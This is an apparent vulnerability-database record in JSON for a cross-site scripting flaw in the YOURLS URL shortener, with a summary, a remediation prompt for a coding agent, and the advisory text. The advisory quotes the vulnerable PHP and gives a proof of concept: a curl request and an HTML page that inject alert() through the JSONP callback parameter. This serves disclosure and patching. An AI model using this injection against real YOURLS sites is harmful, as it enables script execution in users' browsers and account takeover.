{"answers":{"affected":"2 open source packages ship an affected version, including yourls/yourls.","exploited":"There is no known exploitation of GHSA-6mp4-q625-mxjp in the wild and no public exploit code.","fix":"No fix has been published for GHSA-6mp4-q625-mxjp yet. Limit exposure of the affected software until one is available.","what":"GHSA-6mp4-q625-mxjp is a cross-site scripting vulnerability in yourls/yourls, published on 30 Dec 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-6mp4-q625-mxjp and fix it if it is affected.\n\nWhat it is: GHSA-6mp4-q625-mxjp is a cross-site scripting vulnerability in yourls/yourls, published on 30 Dec 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-6mp4-q625-mxjp in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- yourls/yourls (Packagist): affected all versions up to 1.10.2; no fix listed\n- yourls/yourls (Packagist): affected all versions up to 1.10.2; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-6mp4-q625-mxjp/ (Markdown: https://insights.sbomify.com/GHSA-6mp4-q625-mxjp/index.md)","id":"GHSA-6mp4-q625-mxjp","markdown":"https://insights.sbomify.com/GHSA-6mp4-q625-mxjp/index.md","name":"GHSA-6mp4-q625-mxjp","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["code_execution","account_takeover"],"network_reachable":"yes","non_default_config":true,"product_category":"URL shortener","requires_auth":"none","summary":"Unauthenticated attackers can inject arbitrary JavaScript via JSONP callback parameters in public mode, leading to XSS and potential account takeover.","user_interaction":"required","vuln_class":"xss"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nThe callback and **jsonp** request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When **YOURLS_PRIVATE** is set to **false** (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.\n\n### Details\n\nVulnerability exists in the JSONP callback handling chain:\n\n```\nyourls-api.php:127-128\n\nif( isset( $_REQUEST['callback'] ) )\n    $return['callback'] = $_REQUEST['callback'];\nelseif ( isset( $_REQUEST['jsonp'] ) )\n    $return['callback'] = $_REQUEST['jsonp']; \n```\n---\n\n```\nincludes/functions-api.php:127-128\n\n$callback = isset( $output['callback'] ) ? $output['callback'] : '';\n$result =  $callback . '(' . json_encode( $output ) . ')';\n```\n\n### PoC\n\nI. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.\n\nII. `curl \"http://localhost:8080/yourls-api.php?action=version\u0026format=jsonp\u0026callback=alert(document.domain)//\"\n`\n**Expected response:** `alert(document.domain)//({\"version\":\"1.10.2\",\"callback\":\"alert(document.domain)\\/\\/\"})`\n\nBrowser PoC file:\n\n```\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003epwn\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003epwn\u003c/h1\u003e\n\u003cscript src=\"http://localhost:8080/yourls-api.php?action=version\u0026format=jsonp\u0026callback=alert('pwn');//\"\u003e\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nPublic Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger **XSS.**\nPrivate Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.","ecosystems":["Packagist"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"YOURLS is vulnerable to XSS through JSONP and Callback request parameters","id":"GHSA-6mp4-q625-mxjp","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Packagist","product":null,"products":[],"type":"xss","year":"2025"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Packagist","fixed":[],"introduced":["0"],"last_affected":["1.10.2"],"package":"yourls/yourls","purl":null,"source":"GHSA-6mp4-q625-mxjp"},{"ecosystem":"Packagist","fixed":[],"introduced":["0"],"last_affected":["1.10.2"],"package":"yourls/yourls","purl":"pkg:composer/yourls/yourls","source":"GHSA-6mp4-q625-mxjp"}],"products":null,"published":"2025-12-30","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can inject arbitrary JavaScript via JSONP callback parameters in public mode, leading to XSS and potential account takeover.","url":"https://insights.sbomify.com/GHSA-6mp4-q625-mxjp/"}